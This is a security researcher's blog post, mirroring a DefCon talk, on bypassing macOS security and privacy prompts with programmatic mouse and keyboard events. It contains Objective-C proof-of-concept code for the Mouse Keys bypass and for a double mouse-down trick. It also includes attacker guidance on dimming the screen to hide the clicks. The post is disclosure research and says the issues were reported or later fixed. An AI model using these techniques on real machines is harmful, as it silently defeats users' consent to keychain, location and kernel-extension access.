Synthetic Reality
breaking macOS one click at a time
08/20/2018
Love these blog posts?
You can support my tools & writing on patreon :)
Background
Imagine you're an attacker (or piece of malware) that's successfully just gained access to a Mac. Hooray!
You probably want to do things like:
■ dump the user's keychain
■ determine the system's (geo)location
■ enumerate the user's contacts
■ load a kernel extension (kext)
■ bypass 3rd-party security products
Unfortunately (for you, the attacker) on recent versions of macOS, a handful of new security mechanisms prevent these actions. Now, these security mechanisms will all generate alerts in response to such actions. Alerts, that by design, only the user can interact with, for example to approve the action:
However if we can find a way to programmatically, or "synthetically" interact with these alerts, we can generically bypass all these security mechanisms in one fell swoop. That is to say, if such an attack exists, the UI becomes the single point of failure! This blog post delves into many aspects of "synthetically" events on macOS...from malware abusing these features, to new 0day attacks that remain unpatched!
Note:
This blog posts mirrors my recent DefCon talk, "The Mouse is Mightier than the Sword" (though this post does include some new technical details!).
The full slides from this talk, can be viewed here.
A History of "Synthetic" Attacks
The idea of "synthetically" (or programmatically) interacting with the UI for nefarious purposes is not a novel idea. Let's look at some malware that (ab)uses such events.
Note:
The attacks described in this section, are thwarted (read: blocked) on recent versions of macOS!
Later in this post however, we'll disclose some 0days that work even on the latest released version of Apple's OS.
OSX.FruitFly was written over a decade ago, yet only discovered in early 2017. I previously wrote a lengthy white paper on this malware ("Offensive Malware Analysis: Dissecting OSX.FruitFly.B via a Custom C&C Server"), and noted it's ability to generate both "synthetic" mouse and keyboard events:
Here's a neat gif, illustrating how a remote attacker could remotely dismiss a (keychain) security access prompt via OSX.FruitFly:
Another piece of Mac malware (from 2011) that leveraged "synthetic" events was OSX.DevilRobber.
As noted by the talented @noarfromspace, it dumped the user's keychain, bypassing the "keychain access" prompt via a few simple AppleScript commands:
Adware also has been known to make use of "synthetic" events. For example, OSX.Genieo installs itself as a browser extension. However, in order to accomplish this, OSX.Genieo must bypass a security prompt which attempts to prevent the programmatic installation of (Safari) browser extensions. And how does the adware bypass this alert? By simply sending a "synthetic" mouse event to click "Allow"!
Specifically, dumping OSX.Genieo's methods (via jtool), we can see a class named SafariExtensionInstaller
$ jtool -d objc -v Installer.app/Contents/MacOS/AppAS
@interface SafariExtensionInstaller : ?
...
/* 2 - 0x1000376e1 */ + getPopupPosition;
...
/* 4 - 0x100037c53 */ + clickOnInstallButton;
/* 5 - 0x100037d71 */ + clickOnAllowButtonKeychain;
....
/* 8 - 0x100038450 */ + clickOnTrustButton;
Wonder what the clickOnInstallButton button does!?
char +[SafariExtensionInstaller clickOnInstallButton]{
(@selector(getPopupPosition))(&var_40);
r14 = CGEventCreateMouseEvent(0x0, 0x5, 0x0, rcx);
r15 = CGEventCreateMouseEvent(0x0, 0x1, 0x0, rcx);
rbx = CGEventCreateMouseEvent(0x0, 0x2, 0x0, rcx);
CGEventPost(0x0, r14);
CGEventPost(0x0, r15);
CGEventPost(0x0, rbx);
First it gets the location of the alert ("popup") via a call to a method aptly named getPopupPosition. Then it sends a few "synthetic" mouse events via the CGEventCreateMouseEvent and CGEventPost APIs. The 0x5 is a mouse move event, while 0x1 and 0x2 correspond to left click down, then up. End result? the adware is able to dismiss the alert, and install itself as a malicious browser extension.
Defenses Against "Synthetic" Events
On recent versions of macOS, Apple has implemented various defenses to thwart such "synthetic" attacks. However, these defenses are not generic, but instead protect only certain UI components (such as certain security or access prompts).
On High Sierra (and possibly older versions of macOS), if one tries to send programmatic mouse events, for example to the keychain access prompt, the OS will detect and block this:$ log show
tccd PID[44854] is checking access for target PID[44855]
tccd Service kTCCServiceAccessibility does not allow prompting; returning preflight_unknown
execution error: System Events got an error: osascript is not allowed assistive access. (-1719)
Specifically macOS will check if the process generating the "synthetic" event has been afforded assistive access (and yes, the assistive access prompt is also protected against such attacks):
Note that "assistive access" must be manually given to an application. Via the System Preferences application, you can view the applications given this right. Or, one can dump the (SIP-protected) OS privacy database, /Library/Application Support/com.apple.TCC/TCC.db:
"Synthetic" events generated via the CoreGraphics APIs, are now also filtered and blocked (but again, only when the target UI component is explicitly protected), as can be seen in the following system log output:
default 08:52:57.441538 -1000 tccd PID[209] is checking access for target PID[25349]
error 08:52:57.657628 -1000 WindowServer Sender is prohibited from synthesizing events
If we grep for the "Sender is prohibited from synthesizing events" string, we find it in the post_filtered_event_tap_data function in a core library.int post_filtered_event_tap_data(int arg0, int arg1, int arg2, ...)
if (CGXSenderCanSynthesizeEvents() == 0x0) &&
(os_log_type_enabled(*_default_log, 0x10) != 0x0)) {
rbx = *_default_log;
_os_log_error_impl(..., "Sender is prohibited from synthesizing events",...);
}
int CGXSenderCanSynthesizeEvents() {
...
rax = sandbox_check_by_audit_token("hid-control", 0x0, rdx, rdx);
As we can see in the above decompilation, this error message is logged if the CGXSenderCanSynthesizeEvents functions returns 0 (false/NO). This will occur if the sandbox_check_by_audit_token method fails.
As its name suggestions, the sandbox_check_by_audit_token function checks if the process sending the "synthetic" event has the hid-control entitlement. This check appears to be performed in the kernel, in the mpo_iokit_check_hid_control_t function:
Bypassing Apple's Protections
Ok, let's don our hacker hats (black?, white?, gray?) and discuss some vulnerabilities and 0days! 😈
My goal was simple: "synthetically" interact with any/all UI prompts (security, privacy, access, etc.) on a fully patched High Sierra box....to do things as a normal user like dump the keychain, or approve a kernel extension to load!
After spelunking around, I came across a feature named "Mouse Keys"
"Mouse Keys" are a documented feature of macOS that as Apple notes, allows you to use the keyboard as a mouse!hen Mouse Keys are enabled, for example to move the mouse to the right, one can simply press O (or numberpad 6) on the keyboard. And to generate a mouse click? press I (or numberpad 5):
This begets the questions:
■ Can "Mouse Keys" be enabled programmatically?
■ Can a "synthetic" keyboard event, generate a trusted (read: allowed) "synthetic" mouse event?
The answer to both questions is yes!
First, we can use AppleScript to programmatically open the pane of the System Preferences application that has a checkbox for enabling "Mouse Keys". And use CoreGraphics to send "synthetic" mouse check to enable:
//enable 'mouse keys'
void enableMK(float X, float Y){
//apple script
NSAppleScript* scriptObject =
[[NSAppleScript alloc] initWithSource:
@"tell application \"System Preferences\"\n" \
"activate\n" \
"reveal anchor \"Mouse\" of pane id \"com.apple.preference.universalaccess\"\n" \
"end tell"];
//exec
[scriptObject executeAndReturnError:nil];
//let it finish
sleep(1);
//clicky clicky
CGPostMouseEvent(CGPointMake(X, Y), true, 1, true);
CGPostMouseEvent(CGPointMake(X, Y), true, 1, false);
return;
}
As Apple only protects certain UI components (such as security alerts), from "synthetic" events - and these UI components are not protected, we're good to go!
To generate a programmatic mouse click, with "Mouse Keys" enabled, we first move the mouse, then send a "synthetic" keyboard event via AppleScript. Specifically we synthesize key 87://click via mouse key
void clickAllow(float X, float Y)
{
//move mouse
CGEventPost(kCGHIDEventTap, CGEventCreateMouseEvent(nil, kCGEventMouseMoved,
CGPointMake(X, Y), kCGMouseButtonLeft));
//apple script
NSAppleScript* script = [[NSAppleScript alloc] initWithSource:
@"tell application \"System Events\" to key code 87\n"];
//exec
[script executeAndReturnError:nil];
}
As "Mouse Keys" is enabled, when keycode 87 (which maps to the numberpad 5), is "pressed" (even programmatically) the system converts it into a mouse click! This can be observed using my open-source mouse and keyboard sniffer, SniffMK:
# ./sniffMK
event: key down
keycode: 0x57/87/5
event: key up
keycode: 0x57/87/5
event: left mouse down
(x: 146.207031, y: 49.777344)
event: left mouse up
(x: 146.207031, y: 49.777344)
An since the OS is doing the conversion of the keyboard to mouse event, and then "passing on" the mouse event (click), even protected UI components will accept and process the event! (As generally speaking, such protected components trust "synthetic" events when the source is the OS itself).
So what can we do with this capability? Lots of things....like dumping and exfiltrating the user's keychain with all their private keys and unencrypted passwords:
I responsibly reported this bug to Apple, who patched it as CVE-2017-7150, in a High Sierra Supplemental Update:
.
But alas, "synthetic" issues still abound!
First, I noticed that various privacy-related alerts (even on a fully-patched macOS 10.13.* box) blindingly accepted programmatic mouse events.For example, on recent versions of macOS, macOS displays alerts when code tries to access:
■ the system's (user's) geolocation
■ the user's contacts
■ the user's calendar events
■ ...and more!
Since these alerts accept "synthetic" events, malware could simply dismiss them, programmatically://given some point {x, y}
// generate synthetic event...
CGPostMouseEvent(point, true, 1, true);
CGPostMouseEvent(point, true, 1, false);
Here's a proof of concept attack that is able to ascertain the user's geolocation, by "synthetically" dismissing the OS's access alert:
...you may be wondering, "Apple, why even present an alert if malware can so trivially bypass it?" Maybe they can provide and answer, as I'm at a loss!
Ok, turns out there is and even a worse issue. An issue that allows unprivileged malware or an attacker to interact with "protected" UI components - such as High Sierra's "User Assisted Kernel Loading" interface. And yes this also works on a fully patched macOS 10.6.* system. Opps.
Finding the bug, was an embarrassing accident. I was trying to test Apple's patch for CVE-2017-7150, and cut and paste some code incorrectly. The result, a lovely 0day!
Recall one can send "synthetic" mouse events via the CoreGraphics framework. Normally for such a mouse click, you send two events: a mouse down event, followed by a mouse up event://given some point {x, y}
// generate synthetic event...
//final param: true => mouse down
CGPostMouseEvent(point, true, 1, true);
//final param: false => mouse up
CGPostMouseEvent(point, true, 1, false);
However, if one copy & pastes the first line: CGPostMouseEvent(point, true, 1, true); ...and forgets the change the final parameter from a true to false (to indicate a mouse up), this will generate two mouse down events.
...which in theory should probably just be ignored. However, turns out this is not the case! Instead (via SniffMK) we can observe that the system converts the second (invalid) mouse down, to a mouse up:
# ./sniffMK
event: left mouse down
event source pid 951
event state 0 (synthetic)
(x: 1100.000000, y: 511.000000)
event: left mouse up
event source pid 0
event state 0 (synthetic)
(x: 1100.000000, y: 511.000000)
The issue isn't so much that the second mouse down event is converted to a mouse up event, it's that it's done by the OS, which gives means the source process id of the event is 0 (i.e. the OS/system). As we noted, generally speaking, the UI (including security prompts and other protected components), allow "synthetic" events from the system (pid 0). For example, sending a typical mouse down/up event to the "Allow" button of the "User Assisted Kernel Loading" interface, will be ignored with the following error:$ log stream | grep mouse
Dropping mouse down event because sender's PID (899) isn't 0 or self (828)
But what if the pid is 0? As noted, this will be allowed!
Hooray, we can now programmatically approve the loading of kernel extensions, even on a fully patched High Sierra system.
On OSX/macOS, one has always needed to be root, to load such an extension. So what does this attack gain us? Or rather the question is, what is the point of "User Assisted Kernel Loading" in the first place?
Well, on recent versions of macOS not only do you have to be root to load a kext, but that kext also has to be signed. And it's almost impossible to get a kernel code-signing certificate from Apple.
But what an attacker (with root privileges) can do, (as detailed in my 2016 DefCon talk), is:
■ load a known vulnerable 3rd-party driver (that is legitimately signed)
■ exploit that known vulnerability to gain arbitrary code execution in the context of the kernel.
Apple's answer to this attack was "User Assisted Kernel Loading," which adds an extra layer of security by requiring that the user must manually approve the loading of any kext. Alas we've just shown that this "security" mechanisms was (via CVE-2017-7150) and still is 100% broken. And who suffers? Yups, the 3rd-party developers who (unlike the bad guys) are forced to play by Apple's rules :(
Invisibility
One obvious downside to these attacks that utilize "synthetic" events is that they are visible.
Imagine you're sitting at your desk working on your Mac...when all of a sudden an alert pops up, and the mouse, seemingly on its own accord moves to the alert and clicks to dismiss it. You'd clearly know you've been hacked!
Luckily (for the attacker/malware) there is a simple solution! Just dim the screen:
.
Whilst the screen brightness is dimmed to 0.0, the UI is still fully "present" and active (vs. when the display is locked or the screensaver is on). However, it will appear "off" to the user - and thus any "synthetic" attacks will be invisible.
Now, you want to make sure you (as the attacker) dim the screen at an opportune time. For example:
■ After a certain amount of user inactivity
(Note: use the CGEventSourceSecondsSinceLastEventType API)
■ While the display is going to sleep.
In the latter scenario, code can detect when the display is about to go to sleep (via the kIOMessageCanDevicePowerOff notification). Here, it can quickly dim the screen to a brightness level of 0.0 and then perform any "synthetic" attack, before the display sleeps:
Conclusion
By (ab)using "synthetic" events, malware or local attackers can bypass a myriad of macOS's built-in security mechanisms:
And although Apple is aware of this attack vector, and has attempted to protect security and privacy related UI components of the OS, quite simply they have failed. Even on a fully patched High Sierra system, it is trivially possible to "synthetically" interact with, and thus dismiss such UI components...invisibly!
Good news (well, for us Mac users), is that as of macOS Mojave (10.14) "synthetic" events are globally ignored by the OS (unless the user explicitly gives an application such permissions). And while this likely breaks a lot of legitimate applications, from a security point of view, this is clearly the right approach! So, kudos Cupertino!
love these blog posts & tools? you can support them via patreon! Mahalo :)